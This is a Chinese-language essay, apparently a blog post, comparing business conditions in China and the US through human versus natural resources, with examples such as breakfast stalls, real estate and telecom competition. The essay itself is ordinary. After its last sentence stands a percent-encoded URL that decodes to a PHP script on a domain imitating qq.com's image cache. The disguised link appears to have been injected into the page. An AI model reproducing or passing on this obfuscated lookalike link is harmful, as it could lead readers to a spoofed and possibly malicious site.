中国生意难做还是美国生意难做？这是很多业主人都在问的。一般的回答总是在中国的说美国好做，而在美国则认为中国的生意好做。做外贸的不愿做内单，以及美国打工的原意回国海归都是以上心理的反映。那么真实的情况到底如何呢？

 

1）  人力资源与自然资源对商机的影响

 

从大方面上分析中国人力资源丰富，自然资源相对贫乏。所以自然资源为基础的生意都比较好做，而以人力资源为本的则相对难行。在中国的国情下，以自然资源为基础的生意有其垄断性和对竞争对手的限制性。比如房地产，一旦进入开发计划，在一定的地区范围内，此房地产的供应是极其有限的。再比如农业，制造业等等都是自然资源转为对大众有用的产品，尤其在产业初期，这种生意是比较好做的。当然对于自然资源有垄断的产业，那就更是印钱的机器了，石油、化工、交通及基础建设等等都属于这类产业。

 

我再举一个很小的例子来说明对自然资源的掌握所创造的商机。我在华维快递托运包裹时，因包裹大而且重，需要用高强度的包装“皮条”来做。那种尼龙皮条在接起时要用铁皮套把他们夹拢。华维快递的工作人员介绍了一直在旁边闲等的老头。价钱谈好后，老先生就拿出了好几根用过的，回收回来的尼龙皮条和几个铁皮接头。老先生对几个回收回来的资源的掌握给他创造了商机。这样的商机，虽然有可能是短暂的，非普遍的，但它是自然资源掌握而致的商机的具型。而这个典型是在自然资源相对丰富的地方所不存在的。

 

在中国，以人力资源为本的行业，虽然入业的门槛低，但竞争多，竞争对手起步也同样快。长远而持续的高利润、高回报是不太可想象的。某些菜市、商场可以提供免费送货上门，某些服装厂可以成品上免费印刷个性图案，就是一些典型的例子。人力资源丰富是导致竞争激烈的直接原因。某一个产品，工厂赚钱，而且效益好了。其管理层人员迟早会有人跳出去自己另起炉灶。而且这种竞争对手比一般的同行业竞争对手要致命得多。靠人、靠知识、靠软性资产而没有一点点硬件的产品，产业是难做的。

 

在美国，人力资源相对贫乏，而自然资源相对丰富。这使得产业据有与中国产业相反的特性。对自然资源有垄断的产业，他的服务质量都很差。而与他们竞争也很容易。比如Verigon电话公司，他们有很好的垄断市场，但因为服务差其他的公司很容易把他们的客户转走。加上网络电话和网上公司的竞争，他们的客户流失就很严重。在美国，服务质量差是人力资源缺乏的表现。掌握和运用好人力资源是为你在美掌握商机的重要因素。

 

在自然资源丰富的情况下，商机的空间就大一些。对于此类商机，初始门槛也低得多。拿房地产来说。获得土地的价格是相对低的。加之人人有车。土地的位置差价也并不是特别明显。在买到土地的同时，开发商就可以用设计图纸来销售，提前资金回笼也快的多，以上这些优点对所有开发商都是同一的，那么拿到一块土地就比较容易，做开发商也是所有人都可以做的，其所需要的启动资金也并不高。

 

 

 

2）  人力资源对商机的特殊影响

 

生意是靠人来经营的，这个规律在任何地方都是真理。产品是要人来制造的，人来推销的，更是为人来服务的。人口的多少，人力资源的丰富与否是直接影响商机的因素，生意好不好做也是直接接受此束缚的。

 

从正面来讲，人多机会多。雇人容易，雇员的质量也容易提高。在中国有很多机会在美国是不存在的。机会出现的频度和形式也都很不一样。比如做早点生意的，买大饼油条。生意很简单，只要把住一个街头的角落，搭起油锅就肯定有人来，有生意可做。而且价钱比较稳定（没有人砍价）肯定赚钱。这种生意起步资金低，顾客来源稳定，在美国这样的生意是不存在的。美国人的早餐是Bagel，要想做早餐就得开店，而其投资是搭油锅买油条的人所不可想象的。

 

从负面讲，人多竞争多。一个人能想到的机会，可能已经被成百上千人想过了，实践过了。一旦成功地开发出了产品，就会有更多的人和厂家开发出比原件更多功能，更好质量，更廉价的产品。虽然这是一个自然的商业过程，不过在人力资源丰富的情况下，它的周期更小，程度更激烈。从窄义的角度上看，在中国做生意更难一些，尤其是创业。从广义的角度上看，国内的公司，成功和立足了的，有所建树的产品其竞争力和生命力远比国外同行大得多。很多外企到中国去发展，突然发现很多类似产品的竞争对手。他们大喊竞争不公。这表现也就是对产品创新周期程度激烈环境的不适应。这种情况尤其是在大众消费品上出现更多，电池、电器、家用热水器等等都可以列入此类。

 

         人多竞争多的另一个负面是利润薄。这一点和网上环境非常类似。人的密度高， 竞争者密度也高，相隔不过几步就可比价， 而在网上比价是一个点击的距离。 网上经营的薄利多销的特点也就是中国市场的特点。在薄利的环境中竞争， 关键是对成本的控制。国内的廉价劳动力，及免费的，高质量的公共设施，及每一个产业增次中业主的极度节约，使得国内的薄利经营可以持久发展。其代价是很累很辛苦，发展周期长。

 

3）  在中国做生意难呢？还是在美国做生意难。

 

答案是都难！但是难的地方不一样。

         在美国，当老板难，雇人难，建立运行队伍难，建立管理班子难。公司尤其要做大时一定要靠很好的经营队伍，管理队伍来做，长期建立不起来这样的队伍，使得业主做得很累。这些业主都是能力很强的人，之所以建立不起队伍来是因为人的缺乏，质量不够，数量不够，或两者都不够。这也是中小型企业（很赚钱，利润很多的企业）被业主出售的主要原因之一。

 

         在中国，利润难，竞争难，启动难。中国机会很多，各种各样的产品都有市场，从地上长出来的，到车间加工出来的，艺术家创造出来的，应有尽有。但想要赚利润及持久地保持高利润是很难的。竞争对手的数量，竞争的周期，频度及激烈程度都是国外的业主很难想象的。很多做外单的工厂及企业都不敢做内单其原因就在于此。利润难，竞争难，启动难的具体国情，也是国企走向海外的主要动力。

 

         如果外企已经感受到国企的竞争压力的话！如果国外市场已经开始看到国企来抢饭碗的话！那么这仅仅只是开始。http://%69%6d%67%63%61%63%68%65%2e%71%71%2e%63%6f%6d%2e%71%71%64%69%79%2e%69%6e%66%6f/a/s/m.php